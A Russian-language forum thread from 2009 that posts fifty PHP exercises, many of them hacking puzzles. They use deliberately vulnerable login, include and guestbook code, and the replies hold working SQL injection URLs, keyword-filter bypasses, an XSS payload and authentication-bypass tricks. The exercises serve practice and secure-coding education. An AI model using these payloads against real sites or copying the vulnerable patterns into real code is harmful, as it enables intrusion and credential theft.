PDA

Просмотр полной версии : [PHP] ЗАДАНИЯ от Krist_ALL


Krist_ALL
20.06.2009, 18:07
PHP - ЗАДАНИЯ ОТ Krist_ALL


Что это такое?
PHP задания - это небольшие задачки по php. Вы можете из выполнять для того, чтобы попрактиковатся в php улучшить и систематизировать свои знания. За каждое выполненое задание вы получаете от меня +4 Задания практикуются в закрытых группах. В предложениях по улучшению данного раздела, я видел что несколько человек просили сделать задания. Вот я и сделал)

Всем ли можно выполнять задания?
Всем, но есть небольшапя просьба, профи, дайте новичкам подумать. И, те, кто состоит в закрытых группах - у вас свои задания, у нас свои. Можете конечно выполнить...Но лучше пусть выполняют люди из паблик раздела

Можно я свои задания здесь напишу?
Да, и я их добавлю во второй пост

Я тупой, объясните еще раз нафига задания и кому это выгодно?
В закрытых группах есть раздел задания - мне не дадут соврать участники закрытых групп. Там есть задания - например залить шелл на сайт, есть и задания на php! Я решил сделать задания тоже только в паблик разделе. Мне ничего не задавали, мне не требуются решения! Выполнили задание - +4 вам в репку и все.

Откуда эти задания?
Задания я беру из головы, иногда из интернета, иногда участники форума подбрасывают.

Я решил 2 задания, а мне поставили плюсики как за одно задание! Почему?
Я не могу ставить сразу 2 раза репутацию. А потом я могу забыть что вы выполнили 2 задания и что я за него не поставил репу. Вы же делаете задания не ради репутации? ;)

Почему тема называется php задания, а тут есть задания на хак?
PHP кодер должен знать как защитить свой скрипт. А то попадаются очень наивные кодеры, которые расчитывают что переменная не может содержать спецсимволов и значение её берётся прям из GET / POST / COOKIE без фильтрации и суётс в запрос к БД. Вариантов масса. Поэтмоу надо делать не только чтобы работало, а чтоб без отказно работало и сломать было нельзя.

Есть ли на других сайтах такие же задания по php?
Есть, но задания на других сайтах менее интересные и не в таком колличестве. Мне кажется задание написать гостеауху - это бред. Тут хорошие интересные задания, разного уровня сложности. Надеюсь Вам понравится! :)

Сколько еще задания будет?
100 а может быть и 1000) Конечно, у меня фантазия не безгранична, но я стараюсь придумывать много интересных заданий. Когда будет 100 задания я сделаю PDFку - 100 задания php :)





Проект закрыт! Задания больше не будет. Я объясню почему.
После смены алгоритма репутации, народ перестал решать задания, оказывается раньше люди решали задания за +++++, а ведь они еще приобретали опыт и новые знания. Но главным для них были +++++. Очень жаль. Спасибо всем , кто добавлял свои задания. Я планировал много интересных задания и книгу 100 заданий php. А сейчас заданий только 50. Может быть задания появються на другом всем известном портале. И всеже ВСЕМ респект огромный!!! :)







-------------------------------------------------------------------------------------
50 ЗАДАНИЙ
-------------------------------------------------------------------------------------

Новости:

Проект закрыт!
50 заданий)
Теперь задания будут сложнее.













ЗАДАНИЯ
__________________________________________________ _____________________________________________













Задание 001
Составить регулярное выражение, которое поменят местами 2 слова в строке. Строка берется из GET переменной.

Комментарий: Задание совсем простое. Для разминки)
Ответ (http://forum.antichat.ru/showpost.php?p=1344221&postcount=30)




Задание 002
Написать функцию, которая многократно, без учета регистра вырезает заданые слова. Например select,union,update или матерные слова :D
Ответ (http://forum.antichat.ru/showpost.php?p=1344146&postcount=23)




Задание 003
Генерировать 3 случайных числа в диапозоне от 1 до 10 пока сумма этих 3х чисел не будет равна 16.
Ответ (http://forum.antichat.ru/showpost.php?p=1344161&postcount=25)




Задание 004
Есть массив array(10,6,15,25,18,11,10,5,7,30). Вывести индексы тех его элементов, которые делятся на 5 без остатка.
Ответ 1 (http://forum.antichat.ru/showpost.php?p=1344116&postcount=20) Ответ 2 (http://forum.antichat.ru/showpost.php?p=1344120&postcount=21)



Задание 005СПАЛИЛ GIFTS! За что ему говрим ''СПАСИБо!"
В GET переменной передается строка вида tratata#tratata. Есть регулярка вида
preg_match('@^\w+@',$_GET['stroka']); Как видно регуляка ищет строку с буквами, вопрос, почему true для строки tratata#tratata и false для tratata%tratata



Задание 006
Есть админка.
login.php

<?php
....


if(isset($_GET['login']) and isset($_GET['password']))
{
if(preg_match('#^\d$#',$_GET['password'])) {
$password = (int)$_GET['password']; }
else $password = $_GET['password'];

$login = $_GET['login'];

if($login == 'admin' and $password == "gg") echo 'OK'; else exit;
}

...


?>






Как войти в админку не зная пароля? Логин всегда admin
Ответ (http://forum.antichat.ru/showpost.php?p=1345597&postcount=47)



Задание 007 от d_x
Скрипты выводят некоторые строки или числа, подумайте, почему именно так?
Сложность по возрастанию.

<?php
print ((print '')<<1)+((print '')<<(((print '')<<1)+(print '')))+((print '')<<(((print '')<<1)+((print '')<<1)))+((print '')<<(((print '')<<1)+((print '')<<1)+((print '')<<1)+print ''))+((print '')<<(((print '')<<1)+((print '')<<1)+((print '')<<1)+((print '')<<1)+print ''));
?>



<?php
for($i=0,$a=a;$i<=2941;$i++)
$a++;
eval($a."('".++$a."');");
?>



<?php
$a=1;
$a=$a<<7;
$a-=$a>>3;
${chr($a)}=$a;
$a+=2;
$p=chr($p).chr($a);
$a=0151;
$p.=chr($a);
$a=m;
$p.=++$a.t._.r;
$p($p($p));
?>





Задание 008
Как обойти фильтр?

<?php
$id = str_ireplace('select', '', $_GET['id'])
$query = mysql_fetch_array(mysql_query("select * from news where id ='$id' "));
?>
Ответ (http://forum.antichat.ru/showpost.php?p=1344116&postcount=20 )




Задание 009
В директории 3 файла: index.php , news.inc , config.php. Надо обойти защиту от расширения и прочитать файл config.php

<?php

$f = (string)@$_GET['f'];
$f = str_replace('/', '', $f);
$f .= '.inc;

if (file_exists($f)) {
echo htmlspecialchars(file_get_contents($f));
}

else exit;


?>


Ответ (http://forum.antichat.ru/showpost.php?p=1346113&postcount=53 )



Задание 010
Провести sql injection

<?php
$name = str_replace('/**/','','str_replace(' ','',$_GET['name']));
$query = mysql_query("select * from users where name='$name'"); ?>


Ответ (http://forum.antichat.ru/showpost.php?p=1345545&postcount=46)



Задание 011 от d_x
Есть строка:

$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
';


Задание:
Написать скрипт, который все цифры в тексте заменит на их шестнадцатеричные эквиваленты, чтобы получилось так:

PHP код:
0x17F текст с числами 0x16CE
0x27B еще текст 0x1 0x1CE
0x1B0текст0x234



Запрещено использовать любые циклы.
Ответ 1 (http://forum.antichat.ru/showpost.php?p=1345597&postcount=47) Ответ 2 (http://forum.antichat.ru/showpost.php?p=1345974&postcount=50)



Задание 012 от BlackSun
Нарыть активную XSS

<? // config.php
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'xss';

mysql_connect($dbhost, $dbuser, $dbpass) or die('Can\'t connect to MySQL server.');
mysql_select_db($dbname) or die('Can\'t select db.');
?>


<? // index.php
include('config.php');

function callback($text)
{
return html_entity_decode($text[0]);
}

function parse_bb($text)
{
$text = str_replace('"', '', $text);
$text = str_replace("'", '', $text);
$text = htmlspecialchars($text);
$text = str_replace("\r\n", '<br>', $text);

$bb = array('' => '<b>', '' => '</b>', '' => '<u>', '' => '</u>',
'' => '<i>', '' => '</i>', '' => '<center>', '' => '</center>',
'' => '">', '' => '</a>',
'' => '">', '' => '</a>',
'' => '<img border="0" src="', '' => '">', '[HR]' => '<hr>');

foreach ($bb as $code => $replace)
{
$text = str_replace($code, $replace, $text);
}

$text = preg_replace_callback('#"(.*?)"#', 'callback', $text);

return $text;
}

if (isset($_POST['name']) && isset($_POST['text']))
{
mysql_query('INSERT INTO gb (`name`, `text`) VALUES (\''.addslashes(htmlspecialchars($_POST['name'])).'\', \''.parse_bb($_POST['text']).'\')');
header('Location: index.php');
die();
}
?>
<html>
<head>
<title>Active XSS</title>
<style type="text/css">
html {
background-color: #e6e6e6;
}
body {
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
margin: 10px;
border: 1px solid #d0d0d0;
background-color: #f6f6f6;
padding: 10px;
}
#text {
border: 1px solid #999;
background-color: f6f6f6;
color: #000;
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
#input1 {
border: 0;
color: #000;
width: 100%;
}
textarea {
border: 0;
color: #000;
width: 100%;
height: 150px;
}
table {
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
#button {
border: 0;
background-color: f6f6f6;
color: #000;
width: 99%;
}
#border {
border: 1px solid #999;
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
</style>
</head>
<body>
<form method="post">
<table border="0" cellpadding="1" cellspacing="1" width="80%" align="center">
<tr>
<td width="100px">You name: </td>
<td id="border"><input type="text" name="name" value="Vasya" id="input1"></td>
</tr>
<tr>
<td colspan="2">
<b>Allowed BB code:</b><br>
<ul>
<li><b> [HR]</b></li>
<li><b></b>My MAIL<b></b></li>
<li><b></b>My Site<b></b></li>
</ul>
</td>
</tr>
<tr>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td colspan="2" align="center" id="border">
<textarea name="text"></textarea>
</td>
</tr>
<tr>
<td colspan="2" align="center" id="border"><input type="submit" value="Post" id="button"></td>
</tr>
<tr>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<table border="0" cellpadding="2" cellspacing="2" width="100%" align="left" id="text">
<?
$result = mysql_query('SELECT * FROM gb ORDER BY id DESC');
if ($result)
{
while ($row = mysql_fetch_array($result))
{
?>
<tr>
<td><?=$row['name'];?> ОХЬЕР:</td>
</tr>
<tr>
<td><?=$row['text'];?></td>
</tr>
<tr>
<td align="center"><font color="Gray">---------</font></td>
</tr>
<?
}
}
?>
</table>
</tr>
</table>
</form>
</body>
</html>



CREATE TABLE IF NOT EXISTS `gb` (
`id` int(11) NOT NULL auto_increment,
`name` text NOT NULL,
`text` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM;



Ответ (http://forum.antichat.ru/showpost.php?p=1345150&postcount=37)



Задание 013
Войти в панель администрирования, используя sql injection . В БД не лезть. Обмануть проверку просто.

<?php // Login.php
....
$query = "select * from admin where pass = '$_POST['pass']' and login = '$_POST['login']'";


?>

Ответ (http://forum.antichat.ru/showpost.php?p=1346024&postcount=51)



Задание 014
Составить регулярное выражение, которое заменяет на лету
набор букв на мд5(от букв). Пример: 44ffff385dddd55
заменить на 44 (хешь от ffff) 385 (хешь от dddd) 55
Ответ (http://forum.antichat.ru/showpost.php?p=1346430&postcount=63)



Задание 015
Какое число будет записано в переменую id при регистр глобал ON, и объяснить ПОЧЕМУ.
POST => $id = 1
COOKIE => $id = 2
GET => $id = 3

<?ph
$id = $_REСQUEST['id'];
?>

Ответ (http://forum.antichat.ru/showpost.php?p=1346067&postcount=52 )



ЗАДАНИЕ 016 от d_x
Есть массив:

$arr=Array(
Array('key1'=> 1, 'key2'=>3),
Array('key1'=> 8, 'key2'=>4),
Array('key1'=> 5, 'key2'=>6),
Array('key1'=> 5, 'key2'=>8),
Array('key1'=> 6, 'key2'=>9),
Array('key1'=> 3, 'key2'=>7),
Array('key1'=> 5, 'key2'=>1),
Array('key1'=> 2, 'key2'=>2),
Array('key1'=> 0, 'key2'=>0),
Array('key1'=> 2, 'key2'=>5)
);


Написать функцию для его сортировки, чтобы можно было отсортировать этот массив, например, по ключам key1 по возрастанию и по ключам key2 по убыванию (нечто вроде sql - order by key1 asc, key2 desc), чтобы в результате получился такой массив:


Array(
//все key1 - по возрастанию
Array('key1'=>0,'key2'=>0),
Array('key1'=>1,'key2'=>3),
Array('key1'=>2,'key2'=>5), //тут
Array('key1'=>2,'key2'=>2), //и тут key2 - по убыванию
Array('key1'=>3,'key2'=>7),
Array('key1'=>5,'key2'=>8), //аналогично тут
Array('key1'=>5,'key2'=>6), //тут
Array('key1'=>5,'key2'=>1), //и тут
Array('key1'=>6,'key2'=>9),
Array('key1'=>8,'key2'=>4)
)


Учесть, что ключей у вложенных массивов может быть сколько угодно, самих вложенных массивов также может быть любое число.
Ответ 1 (http://forum.antichat.ru/showpost.php?p=1347659&postcount=71) Ответ 2 (http://forum.antichat.ru/showpost.php?p=1347686&postcount=72 )



ЗАДАНИЕ 017
Есть строка текствоя. Нужно выделить красным слова, которые являются частью предыдущих слов. Например:
на входе "Ламерок ламер " на выхоже
Ламерок ламер
Ответ (http://forum.antichat.ru/showpost.php?p=1348352&postcount=86)



ЗАДАНИЕ 018
Есть 2 переменные a = 5 И b =7. Нужно чтобы $a =7 а $b = 5 , при этом не создавая новых переменных
Ответ (http://forum.antichat.ru/showpost.php?p=1347447&postcount=66)



ЗАДАНИЕ 019
$array = array(5,8,9,15,145,854,64,1,3,8,46,9999);
Определить максимальное число, которое находится в массиве, и вывести его индекс.
Ответ (http://forum.antichat.ru/showpost.php?p=1347447&postcount=66)



Задание 020 от .:Enot:.
Предположим что у вас из интерпритатора спёрли функции implode() и join(). Напишите функцию, которая делает тоже самое что вышеупомянутые - объединяет массив в строку. Ну бинарнобезопасную обработку данных конечно можно опустить )
Ответ (http://forum.antichat.ru/showpost.php?p=1348837&postcount=90)



Задание 021 от .:Enot:.
Есть два вот таких массива:

$num = 5; // Любая цифра
$array1 = array(1, 3, 5, 7, 9, 11, 13, 15, 17);
$array2 = array(2, 4, 6, 8, 10);


В итоге должно получиться следующее:

Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 4
[4] => 5
)

Array
(
[0] => 6
[1] => 7
[2] => 8
[3] => 9
[4] => 10
[5] => 11
[6] => 13
[7] => 15
[8] => 17
)


Т.е. два массива с элементами, отсортированными по возрастанию. Количество элементов в первом массиве определяется в переменной $num.
Естественно все действия только с исходными массивами, никаких range() и т.д. Ну и главное условие, циклами пользоваться нельзя
Ответ (http://forum.antichat.ru/showpost.php?p=1348883&postcount=91)



Задание 022
У вас украли php функцию foreach(), написать ее на пхп) с использованием циклов.
Ответ (http://forum.antichat.ru/showpost.php?p=1348837&postcount=90)



Задание 023
Определить с помощью регулярки делится ли число на 10 или нет.
Ответ (http://forum.antichat.ru/showpost.php?p=1348383&postcount=881)



Задангие 024
Определить какой код выполнится быстрее и написать как вы оперделили это, а не просто мне так кажется :)

for($i=0;$i<10;$i++)
{ echo '1php '; }


while($i<10) {
echo 'w1';
$i +=1;
}

Ответ (http://forum.antichat.ru/showpost.php?p=1481789&postcount=119)



Задание 025

if(!preg_match('#\.php$#',$_FILES['name']))
{
//Загрузка файла
}
else exit;

Как видно из кода, проверяется расширение, если у файла расширение не php, то он загружается на сервер. Как залить шел?
Комментарий: Несовсем по пхп зададчка, но интересная.
Ответ (http://forum.antichat.ru/showpost.php?p=1354552&postcount=71)



Задание 026
Объяснить, почему выводит 0.

$a = 10;
$b = 515;
$c = 0.515;
$d = $b<=$a&&$a==$c||$b>$c?0:1;
echo $d;

Ответ (http://forum.antichat.ru/showpost.php?p=1380622&postcount=102)



Зададние 027
Чего не знал програмист, кодя этот скрипт.

<?php
$name= htmlspecialchars($_POST['name'], ENT_COMPAT);
mysql_query("select * from users Where name = '$name'");
?>

Ответ (http://forum.antichat.ru/showpost.php?p=1379613&postcount=93)



Зададние 028
Это скрипт инвайтов на одни супер пупер сайт. Надо ввести слово секретное и тогда будет доступна рега. Слова хранятся в бд. Если вы ввели слово и оно есть в бд - вы получите досутп к реге - это так задумывал горе кодер. Обойдите эту защиту.

<?php
//
include('connect_database.php');

$b = mysql_real_escape_string($_GET['word']);
mysql_query("select * from private where word like '$b'");

?>

Ответ (http://forum.antichat.ru/showpost.php?p=1379597&postcount=92)



Задание 029
Написать скрипт зеркального отражения слов. На входе античат, на выходе тачитна - чтобы так можно было делать с любым словом.
Ответ 1 (http://forum.antichat.ru/showpost.php?p=1380360&postcount=100) Ответ 2 (http://forum.antichat.ru/showpost.php?p=1379707&postcount=96)



Задание 030

<?php
$a = array('cat','dog','fox');
$b = array('Moscow','London');
$c = array('RED');
$d = $b + $a + $c;
?>
Что окажется в массиве $d и почему.

Ответ 1 (http://forum.antichat.ru/showpost.php?p=1481816&postcount=120) Ответ 2 (http://forum.antichat.ru/showpost.php?p=1481345&postcount=103)



Задание 031
Написать функцию определения сколько массивов содержит в себе массив. пример:

$a[] // 0
$a[][] // 1
$a[][][][][] //4


Ответ ( http://forum.antichat.ru/showpost.php?p=1481358&postcount=104)



Задание 032
Написать функцию, которая на выходе даст колличество спецсимволов во входной строке.
Ответ (http://forum.antichat.ru/showpost.php?p=1481664&postcount=115)



Задание 033

<?php
$a = -1;
If($a == TRUE) echo 1;
?>

Почему выводит 1?
Ответ (http://forum.antichat.ru/showpost.php?p=1488446&postcount=122)



Задание 034

<?php
echo (int)((0.1+0.7) *10);
?>

Объяснить, почему выводит 7
Ответ (http://forum.antichat.ru/showpost.php?p=1494098&postcount=133)



Задание 035 от mailbrush
Выполнить системную комманду, не используя каких-либо функциий, кроме echo (для вывода результата).
Ответ (http://forum.antichat.ru/showpost.php?p=1495401&postcount=138)



Задание 036 от mailbrush



$word = 'Hello';


Вывести значение переменной $word.
Строка "$word" в коде встречаться не должна.
Никакой конкатезации в коде не должно быть.
Ответ (http://forum.antichat.ru/showpost.php?p=1493997&postcount=132)



Задание 037 от ElterRUS
Обойти авторизайию

<?php
$login = substr($_GET['login'],0,6);
$password = substr($_GET['password'],0,6);

$login = str_replace('#', '', $login);
$login = str_replace("-", '', $login);
$login = str_replace('*', '', $login);
$login = str_replace('|', '', $login);

$password = str_replace('#', '', $password);
$password = str_replace("-", '', $password);
$password = str_replace('*', '', $password);
$password = str_replace('|', '', $password);

$login = preg_replace("/and|or/i","fuck",$login);
$password = preg_replace("/and|or/i","fuck",$password);

$query = "select * from `admin` where login = '$login' and password = '$password'";

$result = mysql_query($query);

if(mysql_num_rows($result) > 0)
{
//в админке
}
. . .
?>

Ответ (http://forum.antichat.ru/showpost.php?p=1499291&postcount=153)



Задание 038
Написать функцию, которая делает следующее:
на вход:
первый аргумент - массив из чисел, например 2,8,10
второй аргумент - слово, например underground
на выходе - uNdeegrOuNd
тоесть Меняем на верхний регистр те буквы, номер которых указан в массиве.
Ответ (http://forum.antichat.ru/showpost.php?p=1531836&postcount=161)



Задание 039

<?php
$i = 08;
echo $i;
?>

Что выведет скрипт и почему.
Ответ (http://forum.antichat.ru/showpost.php?p=1534615&postcount=162)



Задание 040
Написать скрипт, который сделает следующее:
Было:

<?php
$a[1]['a'] = 'lol';
$a[1]['b'] = 'heh';
$a[2]['a'] = 'gygy';
$a[2]['b'] = 'smeh';
?>

Стало

<?php
$b[0] = 'lol';
$b[1] = 'heh';
$b[2] = 'gygy';
$b[3] = 'smeh';
?>

Ответ (http://forum.antichat.ru/showpost.php?p=1534615&postcount=162)

Krist_ALL
20.06.2009, 18:08
Задание 041

<?php
//INDEX.PHP
$a = 'hack php';
$lamer = $a;
include('sort.php');
?>

Как из файла sort.php узнать, что он приинклуден в файл Index.php .if(isset($a)) не пойдет т.к. название переменных могут быть любые. Через глобалс тоже не пойдет.
Ответ 1 (https://forum.antichat.ru/showpost.php?p=1575894&postcount=167) Ответ 2 (https://forum.antichat.ru/showpost.php?p=1576866&postcount=170)



Задание 042

$filename = str_replace('../', '', $_GET['filename']);
include('pages/'.$filename);

Подняться на директорию выше и приинклудить например файл a.php
Ответ (http://forum.antichat.ru/showpost.php?p=1684971&postcount=204 )



Задание 043 от HAXTA4OK

<?php
$a = (int) $_GET['a'];
if ($_GET['a'] == 1)
exit;
elseif($a == 1)
eval ($_GET['b']);
?>

Вывести phpinfo(); всеми способами
Ответ (https://forum.antichat.ru/showpost.php?p=1679471&postcount=196)



Задание 044
Чем отличаются эти функции?

mail() от mb_send_mail(),
strlen() от mb_strlen();




Задание 045 от DM
Найти уязвимость в коде.

CREATE TABLE stats (id int unsigned not null PRIMARY KEY AUTO_INCREMENT, useragent varchar(255), ip varchar(16), referer varchar(255));


<?php

mysql_connect('localhost', 'root', 'secretpassword');
mysql_select_db('antichat');

//Обработка переменных
function Sanitize($data_to_sanitize) {
$data_to_sanitize = addslashes($data_to_sanitize);
$data_to_sanitize = htmlspecialchars($data_to_sanitize);
return $data_to_sanitize;
}


function Sanitize_Array($value) {
$value = is_array($value) ? array_map('Sanitize_Array', $value) : Sanitize($value);
return $value;
}

$_SERVER = array_map('Sanitize_Array', $_SERVER);

$sql = "INSERT INTO stats (ip, useragent, referer)
VALUES ('".substr($_SERVER['REMOTE_ADDR'],0,16)."', '".substr($_SERVER['HTTP_USER_AGENT'],0,255)."', '".substr($_SERVER['HTTP_REFERER'],0,255)."')";

mysql_query($sql);
mysql_close();

?>


Ответ (http://forum.antichat.ru/showpost.php?p=1679220&postcount=192)



Задание 046
Чем отличается $a = $i++; от $a = ++$i;
Ответ (http://forum.antichat.ru/showpost.php?p=1682810&postcount=199)



Задание 047

include('db_connect.php');
...
$i=0;
if($_POST['login'] == $query['login']) $i +=1;
if($_POST['pass'] == $query['pass']) $i +=1;
if($i == 2) $_SESSION['auth'] = 'YES';


Обойти авторизацию.



Задание 048

//Мы вызываем функцию cat с 3мя параметрами
cat(1,2,3);


function cat(......)
{
................
return //Функция должна вернуть число аргументов, которые мы передаем при её вызове.
// cat(1) функция должна вернуть 1
// cat(1,2,,5,8,5,478,8,5) функция должна вернуть 8
}


Ответ (http://forum.antichat.ru/showpost.php?p=1683364&postcount=200)



Задание 049
Что нельзя делать с массивом GLOBALS такова, что можн с другими массивами
Ответ (http://forum.antichat.ru/showpost.php?p=1711107&postcount=206 )



Задание 050
Написать скрипт который выведет сколько строк он сам.

<?php
$a=1;
$d=2;
//Должен вывести число 2, тоесть строки с дескрипторами не всчет.
?>

Ответ (http://forum.antichat.ru/showpost.php?p=1683739&postcount=203 )

L I G A
20.06.2009, 20:12
ТС маладэц,+5
Задание 003

<html>
<body>
<?php
$a=rand(1,10);
$b=rand(1,10);
$c=rand(1,10);
$sum=($a+$b+$c);
if($sum==16){
echo " сумма этих 3х чисел равна 16.";
exit;
}


?>
<form method=post>
<input name="chislo" type="text" value="<? echo "не 16"; ?>">
<input type="submit" value="Send">
</form>
</html>

исправил

wildshaman
21.06.2009, 13:09
Задание 004

<?php
$a=array(10,6,15,25,18,11,10,5,7,30,32,40);
for ($i=0; $i<count($a); $i++)
echo ($a[$i]%5)==0?$i." ":'';
?>


Задание 008:
в запрос ставить:
selselectect, тогда select вырежется из середины и останется select

Задание 010:
Вместо пробела ставить + или %20 (точно не уверен).

d_x
21.06.2009, 13:13
Задание 004 лучше так:

<?php
$a=array(10,6,15,25,18,11,10,5,7,30,32,40);
foreach($a as $index=>$elem)
if($elem%5==0) print $index.' ';
?>

wildshaman
21.06.2009, 13:31
задание 002:

<?php
$badwords=array('union', 'select', 'xuy');
$str='union union select [uy unununionionion fdfsd xxuyuy';
foreach ($badwords as $word)
{
while(preg_match("|$word|is",$str))
$str=str_ireplace("$word","",$str);
}
echo $str;
?>

wildshaman
21.06.2009, 13:41
Задание 003:

<?php
while ($sum!=16)
{
$s1=rand(0,10);
$s2=rand(0,10);
$s3=rand(0,10);
$sum=$s1+$s2+$s3;
echo $s1." ".$s2." ".$s3."<br>";
}
?>

wildshaman
21.06.2009, 14:22
Задание 001

<?php
$str = "123 456";
echo preg_replace("|(.*) (.*)|is", "\$2 \$1", $str);
?>

ph1l1ster
21.06.2009, 16:04
Может переменуете тему в Perl, PHP, MySql, JS Задания?) и не только по пхп... будет интересней

.Slip
21.06.2009, 16:43
>> МБ тогда пробел захексить?)
Омг
>> Krist_ALL, добавь в 010 чтобы заменялось ещё /**/, а то тут банально очень, пусть подумают
Лучше сразу /, * . Т.к. есть /*!...*/

BlackSun
21.06.2009, 17:09
Обойти авторизацию


<? // config.php
$admin_login = 'admin';
$admin_pass = 'laufd98w3er9832y9508wer';
?>


<? // index.php
require 'config.php';

unset($$my_security_var);
unset($my_security_var);
unset($$my_security_var2);
unset($my_security_var2);

if ($login == $admin_login and $passwd == $admin_pass)
{
die('Done.');
} else
{
echo 'Incorrect';
}
?>
<form method="get">
<input type="text" name="login" style="width:150px" value="login">
<input type="text" name="passwd" style="width:150px" value="pass">
<input type="submit" value="Check">
</form>


----------------------

Нарыть активную XSS

<? // config.php
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'xss';

mysql_connect($dbhost, $dbuser, $dbpass) or die('Can\'t connect to MySQL server.');
mysql_select_db($dbname) or die('Can\'t select db.');
?>


<? // index.php
include('config.php');

function callback($text)
{
return html_entity_decode($text[0]);
}

function parse_bb($text)
{
$text = str_replace('"', '', $text);
$text = str_replace("'", '', $text);
$text = htmlspecialchars($text);
$text = str_replace("\r\n", '<br>', $text);

$bb = array('' => '<b>', '' => '</b>', '' => '<u>', '' => '</u>',
'' => '<i>', '' => '</i>', '' => '<center>', '' => '</center>',
'' => '">', '' => '</a>',
'' => '">', '' => '</a>',
'' => '<img border="0" src="', '' => '">', '[HR]' => '<hr>');

foreach ($bb as $code => $replace)
{
$text = str_replace($code, $replace, $text);
}

$text = preg_replace_callback('#"(.*?)"#', 'callback', $text);

return $text;
}

if (isset($_POST['name']) && isset($_POST['text']))
{
mysql_query('INSERT INTO gb (`name`, `text`) VALUES (\''.addslashes(htmlspecialchars($_POST['name'])).'\', \''.parse_bb($_POST['text']).'\')');
header('Location: index.php');
die();
}
?>
<html>
<head>
<title>Active XSS</title>
<style type="text/css">
html {
background-color: #e6e6e6;
}
body {
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
margin: 10px;
border: 1px solid #d0d0d0;
background-color: #f6f6f6;
padding: 10px;
}
#text {
border: 1px solid #999;
background-color: f6f6f6;
color: #000;
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
#input1 {
border: 0;
color: #000;
width: 100%;
}
textarea {
border: 0;
color: #000;
width: 100%;
height: 150px;
}
table {
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
#button {
border: 0;
background-color: f6f6f6;
color: #000;
width: 99%;
}
#border {
border: 1px solid #999;
font-family: Verdana, Arial, sans-serif;
font-size: 12px;
}
</style>
</head>
<body>
<form method="post">
<table border="0" cellpadding="1" cellspacing="1" width="80%" align="center">
<tr>
<td width="100px">You name: </td>
<td id="border"><input type="text" name="name" value="Vasya" id="input1"></td>
</tr>
<tr>
<td colspan="2">
<b>Allowed BB code:</b><br>
<ul>
<li><b> [HR]</b></li>
<li><b></b>My MAIL<b></b></li>
<li><b></b>My Site<b></b></li>
</ul>
</td>
</tr>
<tr>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<td colspan="2" align="center" id="border">
<textarea name="text"></textarea>
</td>
</tr>
<tr>
<td colspan="2" align="center" id="border"><input type="submit" value="Post" id="button"></td>
</tr>
<tr>
<td colspan="2">&nbsp;</td>
</tr>
<tr>
<table border="0" cellpadding="2" cellspacing="2" width="100%" align="left" id="text">
<?
$result = mysql_query('SELECT * FROM gb ORDER BY id DESC');
if ($result)
{
while ($row = mysql_fetch_array($result))
{
?>
<tr>
<td><?=$row['name'];?> ОХЬЕР:</td>
</tr>
<tr>
<td><?=$row['text'];?></td>
</tr>
<tr>
<td align="center"><font color="Gray">---------</font></td>
</tr>
<?
}
}
?>
</table>
</tr>
</table>
</form>
</body>
</html>


CREATE TABLE IF NOT EXISTS `gb` (
`id` int(11) NOT NULL auto_increment,
`name` text NOT NULL,
`text` text NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM;

Doom123
21.06.2009, 22:37
BlackSun Второе не смотрел пока ..
первое ... отправить дополнительно ешё 2 гет параметра

my_security_var = admin_login
my_security_var2 = admin_pass

а логин и пароль оставить пустыми .. у себя не проверял т.к лень править php.ini но в правельности уверен на 99.99%

BlackSun
21.06.2009, 23:07
Правильно. Завтра + поставлю, сегодня всё в минусомет убил

desTiny
21.06.2009, 23:28
не совсем по скриптовым языкам (пусть нижний код будет на c - или на этом языке от сан - или ...), но всё же - без компиляции, дебага и т.п. скажите, чему будет равно a? (просто, но смешно)

int a = 5+765432l;

Doom123
21.06.2009, 23:40
BlackSun второе

[HREF=([HREF=(style=background:url() onerror=alert(/lo/) )HREF])HREF]

в опере пахает в остольных не проверял =)

зы хсс в стилях чесно скомуниздено у LeverOne ... т.к забыл как вызывать алерт через стили =)

desTiny хз чему будет равно но момойму значение будет привышать максимальное допустимое для int ... хз :rolleyes:

desTiny
21.06.2009, 23:50
desTiny хз чему будет равно но момойму значение будет привышать максимальное допустимое для int ... хз :rolleyes:
превышать точно не будет - в int что-то порядка 2.1*10^9 влезает

Doom123
21.06.2009, 23:53
ну смотря в какой сисиеме 16/32/64 и что short/long не помнб что ставится по умолчанию када пишешь просто int =)

desTiny
21.06.2009, 23:54
int по дефолту 32-битный (в 32-битной системе и тп все меня поняли). короче, нет там переполнений)

Doom123
21.06.2009, 23:59
не удержался .. скомплил .. ппц =)

хмм .. написал то же самое ручками сё норм ..
еси скопировать то выходит байда оО wtf?


бля сцук)) это не 1 а L ! =)

Krist_ALL
22.06.2009, 00:52
Пожалуйста, не пишите сюда задания на с и с++, для этого есть специальный разел. Завтра еще заданий добавлю. И обновлю фак в начале. Спасибо всем кто принимает участие! Пхп-взлом -новая тематика заданий)

Extremal
22.06.2009, 02:16
Задание 010
Провести sql injection
<?php
$name = str_replace('/**/','','str_replace(' ','',$_GET['name']));
$query = mysql_query("select * from users where name='$name"); ?>
http://site.com/index.php?name=union%09select%091,2,CONCAT_WS(':', name,passwd),4,5,6%09from%09users/*

SleepShadowWeb
22.06.2009, 03:27
в 6 'password'=0
в 9 точек добавить штук 250
в 11

function zamena($s)
{
return "0x".strtoupper(dechex($s[1]));
}


$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
';

$str = preg_replace_callback("/(\d{4})/U", "zamena", $str);
$str = preg_replace_callback("/(\d{3})/U", "zamena", $str);
echo $str;

BlackSun
22.06.2009, 10:09
BlackSun второе

)HREF]

в опере пахает в остольных не проверял =)

зы хсс в стилях чесно скомуниздено у LeverOne ... т.к забыл как вызывать алерт через стили =)

Задумывалось немного по другому :)


Активную XSS можно провести, используя вложенные BB коды.
В функции parse_bb вначале все выглядит довольно спокойно:

$text = str_replace('"', '', $text);
$text = str_replace("'", '', $text);
